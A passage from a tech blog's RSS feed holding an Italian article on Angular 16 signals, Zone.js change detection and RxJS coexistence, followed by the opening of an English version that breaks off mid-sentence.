Inoltre, vengono messi a disposizione dello sviluppatore anche altri metodi nel getter, utilizzati per la modifica e la notifica delle stesse agli osservatori, come &lt;code&gt;mutate&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt; e &lt;code&gt;effect&lt;/code&gt;:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; + &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Il metodo &lt;code&gt;update&lt;/code&gt; permette di modificare il segnale a partire dal suo valore precedente, questo risulta utile nel caso di valori di partenza immutabili.&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;ids&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[]&amp;gt;([]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;ids&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;mutate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Mario Rossi&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;dateOfBirth:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;11/11/2000&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Il metodo &lt;code&gt;mutate&lt;/code&gt;, analogamente all&amp;#x27;&lt;code&gt;update&lt;/code&gt; permette di modificare il valore del segnale, aggiornandolo però direttamente.&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;effect&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(() &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Siamo arrivati a:&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;//LOG: Siamo arrivati a: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;//LOG: Siamo arrivati a: 1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Infine un segnale può generare effetti grazie alla funzione &lt;code&gt;effect()&lt;/code&gt;, quest&amp;#x27;ultima procederà ad eseguire il codice al suo interno ogni volta che il segnale emetterà un valore.
Va specificato che l&amp;#x27;implementazione mostrata è quella della preview di Angular versione 16, e in base al framework utilizzato, o a modifiche future, essa potrebbe variare drasticamente. Nel caso della nuova API dei segnali di Angular, verranno aggiunte delle helper functions per l&amp;#x27;integrazione con RxJs, però non ancora definite.&lt;/p&gt;&lt;h2 id=&quot;lo-stato-di-angular&quot;&gt;Lo stato di Angular&lt;/h2&gt;&lt;p&gt;La maggioranza della community di Angular è entusiasta dell&amp;#x27;implementazione dei segnali, considerandoli un upgrade utile e necessario. Negli ultimi tre rilasci, il team di sviluppo ha introdotto numerose feature, come componenti standalone, miglioramento dello stack trace e l&amp;#x27;aggiunta di direttive agli elementi host, che hanno modernizzato e semplificato il framework. Con queste migliorie, lo sviluppo risulta molto più facile e veloce, rendendo la curva di apprendimento meno ripida per i neofiti. Per comprendere appieno l&amp;#x27;utilità dei segnali, tuttavia, è necessario capire in che modo Angular renderizza i componenti e come rileva le modifiche.&lt;/p&gt;&lt;h2 id=&quot;il-problema-zonejs-e-change-detection&quot;&gt;Il problema Zone.js e Change Detection&lt;/h2&gt;&lt;p&gt;In Angular, il processo di Change Detection (rilevamento delle modifiche) è necessario per mantenere l&amp;#x27;interfaccia sincronizzata con lo stato interno dell&amp;#x27;applicazione. Esso consente al framework di aggiornare automaticamente la DOM al cambiamento dello stato dell&amp;#x27;applicazione. Angular utilizza una libreria chiamata Zone.js per rilevare i cambiamenti. Questa libreria controlla gli oggetti del modello di dati dell&amp;#x27;applicazione per determinare se i loro valori sono stati modificati. Tuttavia, l&amp;#x27;uso di Zone.js può rappresentare un problema di performance per Angular, in quanto deve essere caricato ed eseguito ancora prima di poter rilevare modifiche sui dati. Inoltre, ogni evento deve essere tracciato anche se non provoca cambiamenti nel modello dei dati, e poiché Angular non utilizza una DOM virtuale, l&amp;#x27;intero albero dei componenti viene controllato dal dirty checking, impattando la velocità e l&amp;#x27;efficienza.
&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1024px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e7ff29a783b6b2483fd4b648dc4f877f/2bef9/Zone.js.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;300\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20300\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M332%2073v15h-5c-14%202-26%2014-28%2028%200%203-1%205-2%205v1c1%200%202%201%202%204%202%2010%209%2020%2018%2025%208%204%2022%204%2029%200%207-3%2013-9%2016-16%204-7%204-21%200-28-4-10-15-17-25-19h-4V72l-1%201M232%2090a33%2033%200%20006%2064h5v7l1%208c1%200%202-2%201-3v-12h4c13-2%2025-15%2027-27%200-3%201-5%202-5v-1c-1%200-2-1-2-3%200-9-9-22-19-27-7-3-17-4-25-1m0%205c-14%207-21%2024-15%2038%2011%2021%2041%2022%2052%200%202-5%202-19%200-24-7-13-24-20-37-14m90%200c-14%205-21%2022-16%2036%208%2023%2041%2024%2052%202%202-5%202-19%200-24-7-13-22-19-36-14M54%20114c-4%205-1%2012%204%2012%202%200%205-3%205-7s-3-7-5-7l-4%202m88%200c-3%202-2%208%200%2010%204%204%208%201%208-5%200-7-5-9-8-5m90%200c-4%204-2%2012%204%2012%205-1%207-8%202-12-2-3-4-2-6%200m88%200c-4%203-2%2012%203%2012%204%200%205-2%205-7%200-6-3-8-8-5m-181%2048l-7%209c1%201%204-1%207-5l7-6%201%2012a96%2096%200%2000187%2020c4-14%206-35%202-35-1%200-2%201-2%2010%200%2035-23%2069-55%2082a92%2092%200%2001-129-88l9%2010h3l-14-17-9%208m88%2042l2%204v-3l2%201c-1%201-1%201%203%202%202%200%203-1%203-2l1%201h1c0-2%200-2%202%200s5%202%203-1v-1l1%201%201%201h1c1%201%206%201%205-1l1-1%201%202h7v-1l1-1%201%202c1%201%201%200%201-1%200-2-1-2-4-3l-4%201h-15l-4-1-5%201h-5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e7ff29a783b6b2483fd4b648dc4f877f/c85cb/Zone.js.webp 300w,/static/e7ff29a783b6b2483fd4b648dc4f877f/e88ff/Zone.js.webp 600w,/static/e7ff29a783b6b2483fd4b648dc4f877f/a9a89/Zone.js.webp 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e7ff29a783b6b2483fd4b648dc4f877f/5a46d/Zone.js.png 300w,/static/e7ff29a783b6b2483fd4b648dc4f877f/0a47e/Zone.js.png 600w,/static/e7ff29a783b6b2483fd4b648dc4f877f/2bef9/Zone.js.png 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Zone.js (funzionamento di zone.js)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e7ff29a783b6b2483fd4b648dc4f877f/2bef9/Zone.js.png&quot; title=&quot;Figura 1 - Zone.js (funzionamento di zone.js)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Zone.js (funzionamento di zone.js)&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;/p&gt;&lt;h2 id=&quot;come-si-può-risolvere-questo-problema&quot;&gt;Come si può risolvere questo problema?&lt;/h2&gt;&lt;p&gt;Attualmente, non è possibile risolvere definitivamente il problema generato dalla Change Detection in Angular. Tuttavia, gli sviluppatori utilizzano un&amp;#x27;alternativa facilmente integrabile con la programmazione reattiva (su cui ti consiglio di leggere questo fantastico articolo scritto dai colleghi Cristian Bianco e Mauro Celani, che trovi &lt;a href=&quot;https://techblog.smc.it/it/2020-04-19/reactive-vs-imperative&quot;&gt;qui&lt;/a&gt;). Questo metodo si basa sulla strategia OnPush, che consente di rilevare le modifiche solo al momento in cui vengono aggiornati i dati, ovvero al &amp;quot;push&amp;quot;.
In particolare, utilizzano la pipe &lt;code&gt;async&lt;/code&gt; nei template, e quindi evitando di effettuare dei &lt;code&gt;subscribe&lt;/code&gt; nel codice, Angular invece di navigare l&amp;#x27;albero dei componenti per intero, andrà a controllare solo il sottoalbero da cui è partita la modifica.&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;Component&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;selector:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;async-observable-pipe&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;template:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;&amp;lt;div&amp;gt;&amp;lt;code&amp;gt;observable|async&amp;lt;/code&amp;gt;: Time: {{ time | async }}&amp;lt;/div&amp;gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;AsyncObservablePipeComponent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Observable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;((&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;observer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Observer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setInterval&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(() &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;observer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()), &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;la-chiave-per-la-reattività-a-grana-fine&quot;&gt;La chiave per la reattività a grana fine&lt;/h2&gt;&lt;p&gt;I problemi elencati saranno risolti dall&amp;#x27;introduzione dei segnali in Angular. In particolare il team vuole introdurre una primitiva reattiva che integrata con il motore di templating di Angular permette di notificare il framework quando il valore associato alla vista cambia e deve essere aggiornato nella DOM. Questo processo di aggiornamento puntale della vista, anche chiamato reattività a grana fine, eliminerà la necessità di utilizzare Zone.js. Un ulteriore vantaggio dell&amp;#x27;utilizzo dei segnali è la loro esecuzione senza glitch. Essi si basano su due astrazioni: il Producer e il Consumer. Viene costruito un albero delle dipendenze, dove ogni nodo ha due archi che lo collegano ai suoi nodi figlio o padre. Ciò consente a ogni nodo di conoscere lo stato dei suoi consumer e viceversa. In questo modo, un Producer può aggiornare tutti i suoi Consumer e propagare le modifiche senza emettere side-effect, evitando quindi di creare stati intermedi che lo sviluppatore dovrebbe gestire per evitare glitch. Quando tutti i nodi sono stati aggiornati (in modo sincrono), vengono eseguiti gli effetti, il che risolve un problema spesso incontrato nell&amp;#x27;uso di Rxjs. &lt;/p&gt;&lt;h2 id=&quot;il-futuro-di-rxjs-in-angular&quot;&gt;Il futuro di RxJS in Angular&lt;/h2&gt;&lt;p&gt;Una delle domande più frequenti riguardo all&amp;#x27;introduzione dei segnali in Angular è: RxJs verrà eliminato? La risposta è decisamente no. Nonostante i segnali siano uno strumento utile che migliorerà l&amp;#x27;esperienza degli sviluppatori, essi non possono sostituire RxJs e i suoi observable in tutte le operazioni asincrone, come ad esempio le richieste http. La relazione tra i segnali e RxJs sarà probabilmente simbiotica, consentendo l&amp;#x27;uso dei segnali per la gestione dei valori più immediati e l&amp;#x27;utilizzo degli observable per tutte le operazioni asincrone che possono beneficiare dei suoi operatori avanzati. In questo modo, entrambi gli strumenti potranno coesistere e integrarsi efficacemente, migliorando l&amp;#x27;efficienza e la scalabilità delle applicazioni Angular.
&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1024px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/747ba6f13493378cce04ad05b3175a07/2bef9/signal-v-observable.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;300\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20300\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M305%2033l-1%203c1%202%206%202%207%200h1l1%201h3l1%201c2-1%207-2%208-1h7c5%200%206-1%205-2-1-3-2-3-3-1l-1%201-1-2h-10c-2-1-2-1-3%201l-2%202v-2l1-2-2%201h-4c-3-1-4-1-4%201%200%201%200%202-1%201v-1l-1-1h-1m-203%2090l-1%202c0%201%203%202%2013%202l14-1h1l4%201c2%200%202%200%201-1v-1l1-1c0-1-1-2-3-2l-2%201h-13l-1%202h-1c0-2-2-3-3-1h-2c0-2-3-3-4%200h-1c-1-2-3-3-3-1m-31%209l2%202%201-1%202-1%201%201%2011%201%2011-1-1-2c-1-2-1-2-3-1l-1%201-1-2-1%201H75c-2-1-4-1-4%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/747ba6f13493378cce04ad05b3175a07/c85cb/signal-v-observable.webp 300w,/static/747ba6f13493378cce04ad05b3175a07/e88ff/signal-v-observable.webp 600w,/static/747ba6f13493378cce04ad05b3175a07/a9a89/signal-v-observable.webp 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/747ba6f13493378cce04ad05b3175a07/5a46d/signal-v-observable.png 300w,/static/747ba6f13493378cce04ad05b3175a07/0a47e/signal-v-observable.png 600w,/static/747ba6f13493378cce04ad05b3175a07/2bef9/signal-v-observable.png 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Reattività sincrona e asincrona (reattività sincrona e asincrona)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/747ba6f13493378cce04ad05b3175a07/2bef9/signal-v-observable.png&quot; title=&quot;Figura 2 - Reattività sincrona e asincrona (reattività sincrona e asincrona)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Reattività sincrona e asincrona (reattività sincrona e asincrona)&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;/p&gt;&lt;h2 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h2&gt;&lt;p&gt;Per concludere, l&amp;#x27;introduzione dei segnali in Angular rappresenta una significativa evoluzione che migliorerà notevolmente l&amp;#x27;esperienza degli sviluppatori e fornirà importanti incrementi di performance, consolidando ulteriormente la posizione di Angular come uno dei principali framework Javascript sul mercato. La combinazione dei segnali con RxJs, inoltre, offrirà una soluzione altamente efficiente e scalabile per la gestione di operazioni sincrone e asincrone, consentendo agli sviluppatori di creare applicazioni ancora più potenti e complesse.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk3 { color: #6A9955; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Angular vs Signals]]></title><link>https://techblog.smc.iti-segnali-arrivano-su-angular</link><guid isPermaLink="false">https://techblog.smc.iti-segnali-arrivano-su-angular</guid><pubDate>Mon, 27 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, a discussion resumed among frontend developers, especially those in the JavaScript world, about a primitive that will soon be introduced in some of the most famous frameworks like Angular and React: signals. This debate has historical roots and focuses on the use of signals as a way to handle events and application state more efficiently. It is therefore being evaluated whether the adoption of signals represents the addition of a useful feature for developers, or just another opt-in that, in the hands of inexperienced users, could create difficult-to-scale applications full of spaghetti code. Whether developers like it or not, signals are coming and gaining more and more popularity thanks to a clear and simple syntax and a predisposition for reactivity.&lt;/p&gt;&lt;h2 id=&quot;a-short-history-recap&quot;&gt;A short history recap&lt;/h2&gt;&lt;p&gt;Despite the popularity gained in recent months, signals are a concept that originated in the early days of computing. Unix systems are still using them to send notifications between processes efficiently. Signals gained traction thanks to early-research on reactive programming, and have since been implemented by beloved declarative JavaScript frameworks, often with different names and logics, to allow developers to manage the application state and ensure precise change detection and rendering, therefore increasing efficiency. The pioneer in implementing signals in a modern context is undoubtedly Solid.js, which uses signals for reactive programming development, allowing fine-grained reactivity.&lt;/p&gt;&lt;h2 id=&quot;what-are-signals&quot;&gt;What are Signals?&lt;/h2&gt;&lt;p&gt;Solid.js defines signals as:&lt;/p&gt;&lt;p&gt;&amp;quot;&lt;strong&gt;&lt;em&gt;Signals are the cornerstone of 